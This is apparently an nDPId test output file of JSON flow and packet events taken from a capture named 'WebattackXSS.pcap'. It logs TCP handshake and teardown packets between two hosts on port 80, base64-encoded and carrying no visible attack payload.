+00444{"flow_id":583,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8262,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347963,"pkt_ts_usec":774226,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82g5AAD4G68GsEAABwKgKMobmAFBdLG6iAAAAAKACchBWFgAAAgQFtAQCCAoBPLSsAAAAAAEDAwc="} +00445{"flow_id":583,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8263,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347963,"pkt_ts_usec":774363,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhub+xS4sXSxuo6AScSCf\/AAAAgQFtAQCCAoD5oYgATy0rAEDAwc="} +00434{"flow_id":583,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8264,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347963,"pkt_ts_usec":775113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02g9AAD4G68isEAABwKgKMobmAFBdLG6j\/sUuLYAQAOU\/AwAAAQEICgE8tK0D5oYg"} +00432{"flow_id":580,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8268,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347963,"pkt_ts_usec":887769,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iDlAAD4GPZ+sEAABwKgKMoawAFCTxiesrLiWjYARAOU+NgAAAQEICgE8tMkD5oEQ"} +00432{"flow_id":580,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8269,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347963,"pkt_ts_usec":887976,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ELBAAEAGsyjAqAoyrBAAAQBQhrCsuJaNk8YnrYARAOM5CgAAAQEICgPmhj0BPLTJ"} +00432{"flow_id":580,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8270,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347963,"pkt_ts_usec":888736,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iDpAAD4GPZ6sEAABwKgKMoawAFCTxietrLiWjoAQAOU5CAAAAQEICgE8tMkD5oY9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8274,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":584,"flow_packet_id":1,"flow_first_seen":1499347965133,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34548,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":584,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8274,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347965,"pkt_ts_usec":133778,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8KcdAAD4GnAmsEAABwKgKMob0AFDtE5\/HAAAAAKACchCTpwAAAgQFtAQCCAoBPLYAAAAAAAEDAwc="} +00444{"flow_id":584,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8275,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347965,"pkt_ts_usec":133907,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhvTIVjMH7ROfyKAScSANzgAAAgQFtAQCCAoD5od0ATy2AAEDAwc="} +00433{"flow_id":584,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8276,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347965,"pkt_ts_usec":134474,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KchAAD4GnBCsEAABwKgKMob0AFDtE5\/IyFYzCIAQAOWs1QAAAQEICgE8tgAD5od0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8283,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":585,"flow_packet_id":1,"flow_first_seen":1499347966420,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34562,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":585,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8283,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347966,"pkt_ts_usec":420243,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8U6hAAD4GciisEAABwKgKMocCAFDUQeTqAAAAAKACchBmBgAAAgQFtAQCCAoBPLdCAAAAAAEDAwc="} +00444{"flow_id":585,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347966,"pkt_ts_usec":420388,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhwJV63ns1EHk66AScSAKcQAAAgQFtAQCCAoD5oi2ATy3QgEDAwc="} +00432{"flow_id":585,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8285,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347966,"pkt_ts_usec":420965,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U6lAAD4Gci+sEAABwKgKMocCAFDUQeTrVet57YAQAOWpeAAAAQEICgE8t0ID5oi2"} +00432{"flow_id":581,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8289,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347966,"pkt_ts_usec":887428,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lnlAAD4GL1+sEAABwKgKMobKAFDSZyRXdUpQoYARAOV6twAAAQEICgE8t7cD5oOV"} +00432{"flow_id":581,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8290,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347966,"pkt_ts_usec":887645,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02YpAAEAG6k3AqAoyrBAAAQBQhsp1SlCh0mckWIARAON1IgAAAQEICgPmiSsBPLe3"} +00432{"flow_id":581,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8291,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347966,"pkt_ts_usec":888192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lnpAAD4GL16sEAABwKgKMobKAFDSZyRYdUpQooAQAOV1IAAAAQEICgE8t7cD5okr"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8295,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":586,"flow_packet_id":1,"flow_first_seen":1499347967724,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34576,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":586,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8295,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347967,"pkt_ts_usec":724898,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JnBAAD4Gn2CsEAABwKgKMocQAFDWSp74AAAAAKACchComwAAAgQFtAQCCAoBPLiIAAAAAAEDAwc="} +00444{"flow_id":586,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347967,"pkt_ts_usec":725013,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhxDJR2HM1kqe+aAScSDwgwAAAgQFtAQCCAoD5on8ATy4iAEDAwc="} +00432{"flow_id":586,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347967,"pkt_ts_usec":725768,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JnFAAD4Gn2esEAABwKgKMocQAFDWSp75yUdhzYAQAOWPiwAAAQEICgE8uIgD5on8"} +00432{"flow_id":582,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8301,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347967,"pkt_ts_usec":887449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OwxAAD4GisysEAABwKgKMobYAFAZTIhkzroqdoARAOWaMAAAAQEICgE8uLED5oTd"} +00432{"flow_id":582,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8302,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347967,"pkt_ts_usec":887666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oFNAAEAGI4XAqAoyrBAAAQBQhtjOuip2GUyIZYARAOOU6QAAAQEICgPmiiUBPLix"} +00432{"flow_id":582,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8303,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347967,"pkt_ts_usec":888208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ow1AAD4GisusEAABwKgKMobYAFAZTIhlzroqd4AQAOWU5wAAAQEICgE8uLED5ool"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":544,"flow_packet_id":6,"flow_first_seen":1499347894093,"flow_last_seen":1499347899875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33808,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":544,"flow_packet_id":6,"flow_first_seen":1499347894093,"flow_last_seen":1499347899875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33808,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":545,"flow_packet_id":6,"flow_first_seen":1499347895396,"flow_last_seen":1499347900875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33822,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":545,"flow_packet_id":6,"flow_first_seen":1499347895396,"flow_last_seen":1499347900875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33822,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":546,"flow_packet_id":6,"flow_first_seen":1499347896716,"flow_last_seen":1499347901875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33836,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":546,"flow_packet_id":6,"flow_first_seen":1499347896716,"flow_last_seen":1499347901875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33836,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":547,"flow_packet_id":6,"flow_first_seen":1499347899275,"flow_last_seen":1499347904876,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33862,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":547,"flow_packet_id":6,"flow_first_seen":1499347899275,"flow_last_seen":1499347904876,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33862,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":548,"flow_packet_id":6,"flow_first_seen":1499347900544,"flow_last_seen":1499347905875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33876,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":548,"flow_packet_id":6,"flow_first_seen":1499347900544,"flow_last_seen":1499347905875,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33876,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":583,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347968,"pkt_ts_usec":887827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02hBAAD4G68esEAABwKgKMobmAFBdLG6j\/sUuLYARAOU6BAAAAQEICgE8uasD5oYg"} +00432{"flow_id":583,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347968,"pkt_ts_usec":888056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pTJAAEAGHqbAqAoyrBAAAQBQhub+xS4tXSxupIARAOM1BgAAAQEICgPmix8BPLmr"} +00433{"flow_id":583,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347968,"pkt_ts_usec":888594,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02hFAAD4G68asEAABwKgKMobmAFBdLG6k\/sUuLoAQAOU1BAAAAQEICgE8uasD5osf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8316,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":587,"flow_packet_id":1,"flow_first_seen":1499347970267,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":587,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8316,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347970,"pkt_ts_usec":267013,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vvZAAD4GBtqsEAABwKgKMocqAFAxLQXyAAAAAKACchDkKQAAAgQFtAQCCAoBPLsEAAAAAAEDAwc="} +00444{"flow_id":587,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8317,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347970,"pkt_ts_usec":267140,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhyoPJF9xMS0F86AScSDmFAAAAgQFtAQCCAoD5ox4ATy7BAEDAwc="} +00432{"flow_id":587,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8318,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347970,"pkt_ts_usec":267897,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vvdAAD4GBuGsEAABwKgKMocqAFAxLQXzDyRfcoAQAOWFHAAAAQEICgE8uwQD5ox4"} +00433{"flow_id":584,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8322,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347970,"pkt_ts_usec":888983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KclAAD4GnA+sEAABwKgKMob0AFDtE5\/IyFYzCIARAOWnNQAAAQEICgE8u58D5od0"} +00432{"flow_id":584,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8323,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347970,"pkt_ts_usec":889201,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0vhtAAEAGBb3AqAoyrBAAAQBQhvTIVjMI7ROfyYARAOOhlwAAAQEICgPmjRMBPLuf"} +00433{"flow_id":584,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8324,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347970,"pkt_ts_usec":889948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KcpAAD4GnA6sEAABwKgKMob0AFDtE5\/JyFYzCYAQAOWhlQAAAQEICgE8u58D5o0T"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8328,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":588,"flow_packet_id":1,"flow_first_seen":1499347971560,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34616,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":588,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8328,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347971,"pkt_ts_usec":560777,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XBJAAD4Gab6sEAABwKgKMoc4AFCpCuBVAAAAAKACchCQlwAAAgQFtAQCCAoBPLxHAAAAAAEDAwc="} +00444{"flow_id":588,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8330,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347971,"pkt_ts_usec":560919,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhzgyg4heqQrgVqAScSBE8wAAAgQFtAQCCAoD5o27ATy8RwEDAwc="} +00432{"flow_id":588,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8331,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347971,"pkt_ts_usec":561666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XBNAAD4GacWsEAABwKgKMoc4AFCpCuBWMoOIX4AQAOXj+gAAAQEICgE8vEcD5o27"} +00432{"flow_id":585,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8334,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347971,"pkt_ts_usec":889016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U6pAAD4Gci6sEAABwKgKMocCAFDUQeTrVet57YARAOWkIAAAAQEICgE8vJkD5oi2"} +00433{"flow_id":585,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8335,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347971,"pkt_ts_usec":889233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09+BAAEAGy\/fAqAoyrBAAAQBQhwJV63nt1EHk7IARAOOeygAAAQEICgPmjg0BPLyZ"} +00432{"flow_id":585,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8336,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347971,"pkt_ts_usec":889972,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U6tAAD4Gci2sEAABwKgKMocCAFDUQeTsVet57oAQAOWeyAAAAQEICgE8vJkD5o4N"} 